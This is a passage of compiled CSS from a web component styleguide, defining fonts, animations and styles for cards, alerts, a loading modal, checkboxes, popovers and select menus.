src: url("./../../fonts/GothamRnd-Medium.woff"); }
.rsg--content-3 {
max-width: none;
padding: 0;
margin: auto; }
div[class*="rsg--preview-"] {
padding: 0;
border: none; }
* {
margin: 0;
padding: 0;
box-sizing: border-box; }
h1, h2, h3, h4, h5, h6, p {
font-weight: normal; }
@keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-moz-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-webkit-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-ms-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-o-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-moz-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-webkit-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-ms-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-o-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
.ReactModal__Overlay {
z-index: 1000; }
.disclaimer {
border-radius: 16px;
background-color: #FFFFFF;
border: 1px solid #d9d5d5;
padding: 30px;
font-family: GothamRounded-Book;
font-size: 12px;
color: #9c9292; }
@media (max-width: 992px) {
.disclaimer {
padding: 20px; } }
</style><style type="text/css">@font-face {
font-family: GothamRounded-Bold;
src: url("./../../fonts/GothamRnd-Bold.woff");
font-weight: bold; }
@font-face {
font-family: GothamRounded-Book;
src: url("./../../fonts/GothamRnd-Book.woff");
font-weight: normal; }
@font-face {
font-family: GothamRounded-Light;
src: url("./../../fonts/GothamRnd-Light.woff");
font-weight: lighter; }
@font-face {
font-family: GothamRounded-Medium;
src: url("./../../fonts/GothamRnd-Medium.woff"); }
.rsg--content-3 {
max-width: none;
padding: 0;
margin: auto; }
div[class*="rsg--preview-"] {
padding: 0;
border: none; }
* {
margin: 0;
padding: 0;
box-sizing: border-box; }
h1, h2, h3, h4, h5, h6, p {
font-weight: normal; }
@keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-moz-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-webkit-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-ms-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-o-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-moz-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-webkit-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-ms-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-o-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
.ReactModal__Overlay {
z-index: 1000; }
.generic-card {
display: inline-flex; }
.generic-card .card-box {
position: relative; }
.generic-card .card-box .cont__circ {
position: absolute;
top: -82px;
width: 100%;
display: flex;
justify-content: center;
height: 82px;
overflow: hidden;
padding-top: 17px; }
.generic-card .card-box .cont__circ .circ {
width: 140px;
height: 140px;
border-radius: 200px;
box-shadow: 0 16px 36px 0 rgba(0, 0, 0, 0.1);
background-color: #FFFFFF; }
.generic-card .card-box .card-box__padding-title {
margin-bottom: 70px; }
.generic-card .card-box .card-box__title {
font-family: GothamRounded-Medium;
color: #FA6400;
font-size: 32px;
text-align: center;
line-height: 32px; }
.generic-card .card-box a {
font-family: GothamRounded-Medium;
color: #FA6400; }
.generic-card .card-box span {
width: 100%; }
.generic-card .card-box .card-box__description {
font-family: GothamRounded-Medium;
color: #575151;
font-size: 22px;
text-align: center;
margin-top: 10px;
line-height: 27px;
width: 100%; }
.generic-card .card-box .card-box__sub-description {
font-family: GothamRounded-Book;
color: #9c9292;
font-size: 22px;
text-align: center;
margin-top: 20px; }
.generic-card .card-box .card-box__sub-description .variable {
font-family: GothamRounded-Medium; }
.generic-card .card-box .card-box__extra {
font-family: GothamRounded-Book;
font-size: 18px;
color: #575151;
text-align: center;
margin-top: 20px; }
.generic-card .card-box .card-box__variable {
font-family: GothamRounded-Medium;
font-size: 18px;
color: #9c9292;
text-align: center; }
.generic-card .card-box .card-box__btn {
margin-top: 40px; }
.generic-card .card-box .card-box__btn :first-child:not(:only-child) {
margin-right: 20px; }
.generic-card .card-box .card-box__image {
margin-bottom: 30px; }
.generic-card .card-box .card-box__border-image {
width: 140px;
height: 144px;
padding: 10px;
top: -65px;
position: absolute; }
@media (max-width: 992px) {
.generic-card .card-box .card-box__btn {
display: flex;
flex-direction: column-reverse;
width: 100%; }
.generic-card .card-box .card-box__btn :first-child:not(:only-child) {
margin-top: 20px;
margin-right: 0px; }
.generic-card .card-box .cont__circ {
top: -72px;
height: 72px; }
.generic-card .card-box .cont__circ .circ {
width: 120px;
height: 120px; }
.generic-card .card-box .card-box__padding-title {
margin-bottom: 60px; }
.generic-card .card-box .card-box__image {
margin-bottom: 30px; }
.generic-card .card-box .card-box__border-image {
width: 120px;
height: 124px;
top: -55px; }
.generic-card .card-box .button__return {
width: 100%;
justify-content: center;
margin-right: 0px;
margin-top: 30px; } }
@media (max-width: 576px) {
.generic-card .card-box .card-box__image {
width: 112px; } }
@media (max-width: 375px) {
.generic-card .card-box .card-box__title {
line-height: 37px; }
.generic-card .card-box .card-box__image {
width: 100px; } }
.button__return {
font-family: "GothamRounded-Book";
display: flex;
align-items: center;
font-size: 18px; }
.button__return .return-link {
align-items: center;
color: #FA6400;
cursor: pointer;
display: inline-flex;
font-size: 18px;
text-decoration: none; }
.button__return .return-link .return-link__img {
margin-right: 10px; }
</style><style type="text/css">@font-face {
font-family: GothamRounded-Bold;
src: url("./../../fonts/GothamRnd-Bold.woff");
font-weight: bold; }
@font-face {
font-family: GothamRounded-Book;
src: url("./../../fonts/GothamRnd-Book.woff");
font-weight: normal; }
@font-face {
font-family: GothamRounded-Light;
src: url("./../../fonts/GothamRnd-Light.woff");
font-weight: lighter; }
@font-face {
font-family: GothamRounded-Medium;
src: url("./../../fonts/GothamRnd-Medium.woff"); }
.rsg--content-3 {
max-width: none;
padding: 0;
margin: auto; }
div[class*="rsg--preview-"] {
padding: 0;
border: none; }
* {
margin: 0;
padding: 0;
box-sizing: border-box; }
h1, h2, h3, h4, h5, h6, p {
font-weight: normal; }
@keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-moz-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-webkit-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-ms-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-o-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-moz-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-webkit-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-ms-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-o-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
.ReactModal__Overlay {
z-index: 1000; }
.alert {
border-radius: 8px;
text-align: left;
padding: 20px;
position: relative; }
.alert.alert--warning {
background: #fff8e5; }
.alert.alert--warning .alert__title {
color: #F7B500; }
.alert.alert--warning .alert__close {
border: solid 2px #f7b5001a; }
.alert.alert--warning .alert__close .close__icon:before, .alert.alert--warning .alert__close .close__icon:after {
background-color: #f7b5001a; }
.alert.alert--warning .alert__close:hover {
border-color: #f7b50061; }
.alert.alert--warning .alert__close:hover .close__icon:before {
background-color: #f7b50061; }
.alert.alert--warning .alert__close:hover .close__icon:after {
background-color: #f7b50061; }
.alert.alert--error {
background: #f8e9e8;
text-align: left; }
.alert.alert--error .alert__title {
color: #cc372e; }
.alert.alert--error .alert__close {
border: solid 2px #f700001a; }
.alert.alert--error .alert__close .close__icon:before, .alert.alert--error .alert__close .close__icon:after {
background-color: #f700001a; }
.alert.alert--login-error {
background: #FFDBDF;
text-align: left; }
.alert.alert--login-error .alert__title {
display: none;
color: #cc372e; }
.alert.alert--login-error .message_container .alert__message {
padding: 0px 40px;
color: #cc372e; }
.alert.alert--login-error .alert__close {
border: solid 2px #cc372e;
left: 10px !important;
top: 10px !important; }
.alert.alert--login-error .alert__close .close__icon:before, .alert.alert--login-error .alert__close .close__icon:after {
background-color: #cc372e; }
.alert.alert--info {
background: #f1fbea; }
.alert.alert--info .alert__title {
color: #aedd7f; }
.alert.alert--info .alert__close {
border: solid 2px #aedd7f;
background-color: #f1fbea; }
.alert.alert--info .alert__close .close__icon:before, .alert.alert--info .alert__close .close__icon:after {
background-color: #aedd7f; }
.alert.alert--light-blue {
background: #daeaf5; }
.alert.alert--light-blue .alert__title {
color: #1300dc; }
.alert.alert--light-blue .alert__close {
border: solid 2px #91d1ff; }
.alert.alert--light-blue .alert__close .close__icon:before, .alert.alert--light-blue .alert__close .close__icon:after {
background-color: #91d1ff; }
.alert.alert--light-blue .alert__close:hover {
border-color: #1300dc; }
.alert.alert--light-blue .alert__close:hover .close__icon:before {
background-color: #1300dc; }
.alert.alert--light-blue .alert__close:hover .close__icon:after {
background-color: #1300dc; }
.alert .alert__close {
border-radius: 12px;
position: absolute;
right: 10px;
top: 10px;
width: 24px;
height: 24px;
cursor: pointer; }
.alert .alert__close .close__icon:before, .alert .alert__close .close__icon:after {
position: absolute;
content: ' ';
top: 2px;
left: 9px;
height: 15px;
width: 2px; }
.alert .alert__close .close__icon:before {
transform: rotate(45deg); }
.alert .alert__close .close__icon:after {
transform: rotate(-45deg); }
.alert .alert__title {
font-family: GothamRounded-Medium;
font-size: 18px;
margin: 0 0 10px;
line-height: 18px; }
.alert .message_container {
display: inline-flex;
align-items: center; }
.alert .message_container .alert_img {
margin-right: 20px; }
.alert .message_container .alert__message {
font-family: GothamRounded-Book;
font-size: 16px;
color: #575151;
line-height: 21px; }
.alert .message_container .alert__message strong {
font-family: GothamRounded-Bold; }
.alert .alert__extra {
font-size: 16px;
font-family: GothamRounded-Medium;
color: #575151;
margin: 10px auto 0; }
.alert .alert__extra.alert__extra--timer {
width: 70px;
height: 36px;
border-radius: 10px;
border: solid 1px #d9d5d5;
text-align: center;
padding: 7px 7px; }
@media (max-width: 992px) {
.alert {
padding: 20px; } }
</style><style type="text/css">@font-face {
font-family: GothamRounded-Bold;
src: url("./../../fonts/GothamRnd-Bold.woff");
font-weight: bold; }
@font-face {
font-family: GothamRounded-Book;
src: url("./../../fonts/GothamRnd-Book.woff");
font-weight: normal; }
@font-face {
font-family: GothamRounded-Light;
src: url("./../../fonts/GothamRnd-Light.woff");
font-weight: lighter; }
@font-face {
font-family: GothamRounded-Medium;
src: url("./../../fonts/GothamRnd-Medium.woff"); }
.rsg--content-3 {
max-width: none;
padding: 0;
margin: auto; }
div[class*="rsg--preview-"] {
padding: 0;
border: none; }
* {
margin: 0;
padding: 0;
box-sizing: border-box; }
h1, h2, h3, h4, h5, h6, p {
font-weight: normal; }
@keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-moz-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-webkit-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-ms-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-o-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-moz-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-webkit-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-ms-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-o-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
.ReactModal__Overlay {
z-index: 1000; }
.modal-loading {
display: flex;
justify-content: center;
align-items: center;
width: 100%;
height: 100%;
bottom: auto;
background-color: rgba(0, 0, 0, 0.8);
overflow: hidden;
outline: none; }
.modal-loading .modal-loading__logo {
position: fixed; }
.modal-loading .modal-loading__logo img {
width: 85px; }
.modal-loading .modal-loading__loader {
font-size: 10px;
border-top: 0.2em solid rgba(255, 0, 0, 0);
border-right: 0.2em solid rgba(255, 0, 0, 0);
border-bottom: 0.2em solid rgba(255, 0, 0, 0);
animation: loader-animation .5s infinite linear;
border-radius: 50%;
width: 15em;
height: 15em; }
.modal-loading .modal-loading__loader.modal-loading__loader--orange {
border-left: 0.2em solid #FA6400; }
.modal-loading .modal-loading__loader.modal-loading__loader--violet {
border-left: 0.2em solid #9E0076; }
@keyframes loader-animation {
0% {
-webkit-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-webkit-transform: rotate(360deg);
transform: rotate(360deg); } }
</style><style type="text/css">@font-face {
font-family: GothamRounded-Bold;
src: url("./../../fonts/GothamRnd-Bold.woff");
font-weight: bold; }
@font-face {
font-family: GothamRounded-Book;
src: url("./../../fonts/GothamRnd-Book.woff");
font-weight: normal; }
@font-face {
font-family: GothamRounded-Light;
src: url("./../../fonts/GothamRnd-Light.woff");
font-weight: lighter; }
@font-face {
font-family: GothamRounded-Medium;
src: url("./../../fonts/GothamRnd-Medium.woff"); }
.rsg--content-3 {
max-width: none;
padding: 0;
margin: auto; }
div[class*="rsg--preview-"] {
padding: 0;
border: none; }
* {
margin: 0;
padding: 0;
box-sizing: border-box; }
h1, h2, h3, h4, h5, h6, p {
font-weight: normal; }
@keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-moz-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-webkit-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-ms-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-o-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-moz-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-webkit-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-ms-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-o-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
.ReactModal__Overlay {
z-index: 1000; }
.checkbox {
position: relative;
height: 26px;
width: 26px;
-webkit-tap-highlight-color: transparent; }
.checkbox .checkbox__label {
background-color: #FFFFFF;
border: 2px solid #d9d5d5;
border-radius: 50%;
cursor: pointer;
height: 26px;
left: 0;
position: absolute;
top: 0;
width: 26px; }
.checkbox .checkbox__label:after {
border: none;
content: url(https://staticresourcesfiles.blob.core.windows.net/content/web/static/7089808028891964-check.svg);
height: 17px;
left: 3px;
opacity: 0;
position: absolute;
top: 3px;
width: 13px; }
.checkbox .checkbox__label.paris:after {
border: none;
content: url(https://staticresourcesfiles.blob.core.windows.net/content/web/static/1760005184548512-check_paris.svg);
height: 17px;
left: 3px;
opacity: 0;
position: absolute;
top: 3px;
width: 13px; }
.checkbox input[type="checkbox"] {
visibility: hidden; }
.checkbox input[type="checkbox"]:checked + .checkbox__label {
border-color: #FA6400; }
.checkbox input[type="checkbox"]:checked + .checkbox__label.paris {
border-color: #009ce0; }
.checkbox input[type="checkbox"]:checked + .checkbox__label:after {
opacity: 1; }
@media (max-width: 992px) {
.checkbox {
height: 33px;
width: 33px; }
.checkbox .checkbox__label {
height: 33px;
width: 33px; }
.checkbox .checkbox__label:after {
border: none;
content: url(https://staticresourcesfiles.blob.core.windows.net/content/web/static/7089808028891964-check.svg);
height: 17px;
left: 6px;
opacity: 0;
position: absolute;
top: 6px;
width: 13px; } }
</style><style type="text/css">@font-face {
font-family: GothamRounded-Bold;
src: url("./../../fonts/GothamRnd-Bold.woff");
font-weight: bold; }
@font-face {
font-family: GothamRounded-Book;
src: url("./../../fonts/GothamRnd-Book.woff");
font-weight: normal; }
@font-face {
font-family: GothamRounded-Light;
src: url("./../../fonts/GothamRnd-Light.woff");
font-weight: lighter; }
@font-face {
font-family: GothamRounded-Medium;
src: url("./../../fonts/GothamRnd-Medium.woff"); }
.rsg--content-3 {
max-width: none;
padding: 0;
margin: auto; }
div[class*="rsg--preview-"] {
padding: 0;
border: none; }
* {
margin: 0;
padding: 0;
box-sizing: border-box; }
h1, h2, h3, h4, h5, h6, p {
font-weight: normal; }
@keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-moz-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-webkit-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-ms-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-o-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-moz-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-webkit-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-ms-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-o-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
.ReactModal__Overlay {
z-index: 1000; }
.popover {
border-radius: 16px;
border-radius: 16px;
font-family: GothamRounded-Book;
color: #9c9292;
position: absolute;
z-index: 999; }
.popover.default {
width: 526px;
border: 1px solid #9c9292;
padding: 30px;
background-color: #FFFFFF;
box-shadow: 1px 3px 36px 0 rgba(0, 0, 0, 0.1); }
.popover.value {
width: 400px;
border: 1px solid #aedd7f;
padding: 20px;
background-color: #f1fbea; }
.popover .popover__close {
width: 32px;
height: 32px;
border-radius: 50%;
position: absolute;
display: flex;
align-items: center;
justify-content: center;
font-size: 18px;
font-family: GothamRounded-Medium;
cursor: pointer;
top: -16px; }
.popover .popover__close.left {
left: -16px; }
.popover .popover__close.right {
right: -16px; }
.popover .popover__close.default {
background-color: #FFFFFF;
border: 1px solid #FA6400;
color: #FA6400; }
.popover .popover__close.paris {
background-color: #FFFFFF;
border: 1px solid #009ce0;
color: #009ce0; }
.popover .popover__close.value {
background-color: #f1fbea;
border: 1px solid #aedd7f;
color: #aedd7f; }
.popover .popover__header {
display: flex;
justify-content: space-between;
align-items: center;
border-bottom: 1px solid #d9d5d5;
padding-bottom: 10px;
margin-bottom: 20px; }
.popover .popover__header h1 {
font-size: 22px;
font-family: GothamRounded-Medium;
color: #000000;
line-height: 22px; }
.popover .popover__header a {
font-size: 18px;
font-family: GothamRounded-Medium;
color: #FA6400;
line-height: 18px; }
.popover .popover__header a.paris {
font-size: 18px;
font-family: GothamRounded-Medium;
color: #009ce0;
line-height: 18px; }
.popover .popover__content {
max-height: 322px;
overflow-y: scroll;
padding-right: 10px;
text-align: left; }
.popover .popover__content h1 {
font-size: 16px;
color: #575151;
font-family: GothamRounded-Medium;
margin-bottom: 10px;
line-height: 16px; }
.popover .popover__content p {
font-size: 12px;
color: #575151;
margin-bottom: 10px;
line-height: 17px;
font-family: GothamRounded-Light; }
.popover .popover__content p b {
font-family: GothamRounded-Medium; }
.popover .popover__content p strong {
font-family: GothamRounded-Medium;
font-size: 16px;
line-height: 21px;
color: #575151; }
.popover .popover__content img {
width: 40px;
margin-right: 12px;
float: left; }
.popover .popover__content ul {
columns: 2;
margin-top: 30px;
margin-left: 15px;
font-family: GothamRounded-Light;
margin-bottom: 30px; }
.popover .popover__content ul li {
font-size: 12px;
color: #575151;
margin-bottom: 3px;
flex: 0 0 50%;
list-style-type: none;
position: relative; }
.popover .popover__content ul li:before {
content: " ";
position: absolute;
left: -13px;
width: 5px;
height: 5px;
top: 5px;
border-radius: 10px;
background-color: #9c9292; }
.popover .popover__content h2 {
text-align: center;
margin-bottom: 3px;
font-size: 16px;
color: #9c9292;
font-family: GothamRounded-Light;
line-height: 21px;
letter-spacing: -0.11px; }
.popover .popover__content h2 b {
font-family: GothamRounded-Medium; }
.popover .popover__content h2 strong {
font-family: GothamRounded-Bold; }
.popover .popover__content::-webkit-scrollbar {
width: 4px; }
.popover .popover__content::-webkit-scrollbar-track {
box-shadow: #FFFFFF;
border-radius: 30px; }
.popover .popover__content::-webkit-scrollbar-thumb {
background: #d9d5d5;
border-radius: 30px; }
.popover.value .popover__content {
display: flex;
align-items: center; }
.popover .triangle {
width: 0;
height: 0;
border-bottom: 15px solid transparent;
border-right: 15px solid transparent;
border-left: 15px solid transparent;
position: absolute;
bottom: 0; }
.popover .triangle.left {
left: 40px;
bottom: -30px; }
.popover .triangle.right {
right: 40px;
bottom: -30px; }
.popover .triangle.default {
border-top: 15px solid #9c9292; }
.popover .triangle.default:after {
content: '';
width: 0;
height: 0;
border-top: 14px solid #FFFFFF;
border-bottom: 14px solid transparent;
border-right: 14px solid transparent;
border-left: 14px solid transparent;
position: absolute;
top: -15px;
left: -14px; }
.popover .triangle.value {
border-top: 15px solid #aedd7f; }
.popover .triangle.value:after {
content: '';
width: 0;
height: 0;
border-top: 14px solid #f1fbea;
border-bottom: 14px solid transparent;
border-right: 14px solid transparent;
border-left: 14px solid transparent;
position: absolute;
top: -15px;
left: -14px; }
@media (max-width: 992px) {
.popover.default {
display: none; }
.popover.value {
width: 342px; }
.modal-popover {
position: fixed;
top: 0;
left: 0;
right: 0;
bottom: 0;
background-color: rgba(0, 0, 0, 0.8);
z-index: 100;
outline: none;
font-family: GothamRounded-Book; }
.modal-popover .popover__close {
width: 40px;
height: 40px;
border-radius: 50%;
position: absolute;
display: flex;
align-items: center;
justify-content: center;
font-size: 18px;
font-family: GothamRounded-Medium;
cursor: pointer;
z-index: 999;
top: 9%; }
.modal-popover .popover__close.left {
left: 1%; }
.modal-popover .popover__close.right {
right: 1%; }
.modal-popover .popover__close.default {
background-color: #FFFFFF;
border: 1px solid #FA6400;
color: #FA6400; }
.modal-popover .popover__close.paris {
background-color: #FFFFFF;
border: 1px solid #009ce0;
color: #009ce0; }
.modal-popover .modal__content {
background-color: #FFFFFF;
padding: 20px;
max-height: 80%; }
.modal-popover .modal__content .modal__header {
border-bottom: 1px solid #d9d5d5;
padding-bottom: 10px;
margin-bottom: 20px; }
.modal-popover .modal__content .modal__header h1 {
font-size: 22px;
font-family: GothamRounded-Medium;
color: #000000;
line-height: 22px; }
.modal-popover .modal__content .modal__body .body__hedges {
display: block;
margin-bottom: 20px;
text-align: right; }
.modal-popover .modal__content .modal__body .body__hedges a {
font-size: 18px;
font-family: GothamRounded-Medium;
color: #FA6400;
line-height: 18px; }
.modal-popover .modal__content .modal__body .body__hedges a.paris {
font-size: 18px;
font-family: GothamRounded-Medium;
color: #009ce0;
line-height: 18px; }
.modal-popover .modal__content .modal__body h1 {
font-size: 16px;
color: #575151;
font-family: GothamRounded-Medium;
margin-bottom: 10px;
line-height: 16px; }
.modal-popover .modal__content .modal__body p {
line-height: 19px;
font-size: 14px;
color: #575151;
margin-bottom: 10px;
font-family: GothamRounded-Light; }
.modal-popover .modal__content .modal__body ul {
display: block;
margin-left: 15px;
margin-top: 30px;
font-family: GothamRounded-Light; }
.modal-popover .modal__content .modal__body ul li {
font-size: 14px;
color: #575151;
margin-bottom: 3px; }
.modal-popover .modal__content .modal__body h2 {
text-align: center;
margin-top: 30px;
font-size: 16px;
color: #575151;
font-family: GothamRounded-Light; }
.modal-popover .modal__content .modal__body h2 b {
font-family: GothamRounded-Medium; } }
</style><style type="text/css">@font-face {
font-family: GothamRounded-Bold;
src: url("./../../fonts/GothamRnd-Bold.woff");
font-weight: bold; }
@font-face {
font-family: GothamRounded-Book;
src: url("./../../fonts/GothamRnd-Book.woff");
font-weight: normal; }
@font-face {
font-family: GothamRounded-Light;
src: url("./../../fonts/GothamRnd-Light.woff");
font-weight: lighter; }
@font-face {
font-family: GothamRounded-Medium;
src: url("./../../fonts/GothamRnd-Medium.woff"); }
.rsg--content-3 {
max-width: none;
padding: 0;
margin: auto; }
div[class*="rsg--preview-"] {
padding: 0;
border: none; }
* {
margin: 0;
padding: 0;
box-sizing: border-box; }
h1, h2, h3, h4, h5, h6, p {
font-weight: normal; }
@keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-moz-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-webkit-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-ms-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-o-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-moz-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-webkit-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-ms-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-o-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
.ReactModal__Overlay {
z-index: 1000; }
.select-mobile {
display: none; }
.select {
display: block;
width: 100%; }
.select .react-select__control,
.select .react-select__control:hover,
.select .react-select__control--is-focused,
.select .react-select__control--menu-is-open,
.select .react-select__control--is-disabled {
border-style: none;
box-shadow: none;
border-bottom: #d9d5d5 1px solid;
border-radius: 0px;
background-color: #FFFFFF; }
.select .react-select__control .react-select__value-container,
.select .react-select__control:hover .react-select__value-container,
.select .react-select__control--is-focused .react-select__value-container,
.select .react-select__control--menu-is-open .react-select__value-container,
.select .react-select__control--is-disabled .react-select__value-container {
padding: 0px; }
.select .react-select__control .react-select__value-container .react-select__placeholder,
.select .react-select__control .react-select__value-container .react-select__single-value,
.select .react-select__control:hover .react-select__value-container .react-select__placeholder,
.select .react-select__control:hover .react-select__value-container .react-select__single-value,
.select .react-select__control--is-focused .react-select__value-container .react-select__placeholder,
.select .react-select__control--is-focused .react-select__value-container .react-select__single-value,
.select .react-select__control--menu-is-open .react-select__value-container .react-select__placeholder,
.select .react-select__control--menu-is-open .react-select__value-container .react-select__single-value,
.select .react-select__control--is-disabled .react-select__value-container .react-select__placeholder,
.select .react-select__control--is-disabled .react-select__value-container .react-select__single-value {
font-family: GothamRounded-Medium;
font-size: 18px;
letter-spacing: -0.12px;
line-height: 22px;
text-align: left;
margin: 0px;
color: #575151; }
.select .react-select__control .react-select__indicators .react-select__indicator,
.select .react-select__control:hover .react-select__indicators .react-select__indicator,
.select .react-select__control--is-focused .react-select__indicators .react-select__indicator,
.select .react-select__control--menu-is-open .react-select__indicators .react-select__indicator,
.select .react-select__control--is-disabled .react-select__indicators .react-select__indicator {
padding: 15px 0px 0px 0px; }
.select .react-select__control .react-select__indicators .react-select__indicator-separator,
.select .react-select__control:hover .react-select__indicators .react-select__indicator-separator,
.select .react-select__control--is-focused .react-select__indicators .react-select__indicator-separator,
.select .react-select__control--menu-is-open .react-select__indicators .react-select__indicator-separator,
.select .react-select__control--is-disabled .react-select__indicators .react-select__indicator-separator {
width: 0px; }
.select .react-select__control .react-select__indicators .react-select__dropdown-indicator,
.select .react-select__control:hover .react-select__indicators .react-select__dropdown-indicator,
.select .react-select__control--is-focused .react-select__indicators .react-select__dropdown-indicator,
.select .react-select__control--menu-is-open .react-select__indicators .react-select__dropdown-indicator,
.select .react-select__control--is-disabled .react-select__indicators .react-select__dropdown-indicator {
color: #d9d5d5; }
.select .react-select__control--menu-is-open {
border-bottom: solid 1px #FFFFFF; }
.select .react-select__control--menu-is-open svg {
transform: rotate(180deg); }
.select .react-select__control--menu-is-open:hover {
border-bottom: solid 1px #FFFFFF; }
.select .react-select__menu {
border-radius: 10px;
border: #d9d5d5 1px solid;
background-color: #FFFFFF;
box-shadow: none;
margin-top: 0px;
padding: 15px 5px 15px 15px;
font-family: GothamRounded-Book;
color: #9c9292;
font-size: 16px;
line-height: 22px;
letter-spacing: -0.11px;
text-align: left; }
.select .react-select__menu .react-select__menu-list {
padding-top: 0px;
padding-bottom: 0px;
scrollbar-color: #d9d5d5 rgba(255, 0, 0, 0);
scrollbar-width: 5px;
scrollbar-width: thin;
scrollbar-base-color: #d9d5d5;
overflow-y: scroll; }
.select .react-select__menu .react-select__menu-list .react-select__option,
.select .react-select__menu .react-select__menu-list .react-select__option--is-focused {
padding: 10px 0px 10px 0px;
border-bottom: solid 1px #d9d5d5;
background-color: #FFFFFF;
margin-right: 10px;
width: auto; }
.select .react-select__menu .react-select__menu-list .react-select__option:first-child {
padding-top: 0px; }
.select .react-select__menu .react-select__menu-list .react-select__option:last-child {
border-bottom: none;
padding-bottom: 0px; }
.select .react-select__menu .react-select__menu-list .react-select__option:hover {
color: #6a6565;
background-color: #FFFFFF; }
.select .react-select__menu .react-select__menu-list .react-select__option--is-selected {
color: #9c9292; }
.select .react-select__menu .react-select__menu-list::-webkit-scrollbar {
width: 5px; }
.select .react-select__menu .react-select__menu-list::-webkit-scrollbar-thumb {
width: 5px;
height: 43px;
border-radius: 30px;
background-color: #d9d5d5; }
.select .react-select__menu .react-select__menu-list::-webkit-scrollbar-thumb:hover {
background-color: #9c9292; }
.select .select--has-error .react-select__control,
.select .select--has-error .react-select__control:hover,
.select .select--has-error .react-select__control--is-focused {
border-bottom: #FA6400 1px solid; }
.select .select--has-error .react-select__control .react-select__single-value,
.select .select--has-error .react-select__control:hover .react-select__single-value,
.select .select--has-error .react-select__control--is-focused .react-select__single-value {
color: #FA6400; }
.select .select--has-error .react-select__control .react-select__dropdown-indicator,
.select .select--has-error .react-select__control:hover .react-select__dropdown-indicator,
.select .select--has-error .react-select__control--is-focused .react-select__dropdown-indicator {
color: #FA6400; }
.select .select--has-error .react-select__control--menu-is-open,
.select .select--has-error .react-select__control--menu-is-open:hover {
border-bottom: solid 1px #FFFFFF; }
@media (max-width: 992px) {
.select {
display: none; }
.select-mobile {
display: block; }
.select-mobile select,
.select-mobile select:focus {
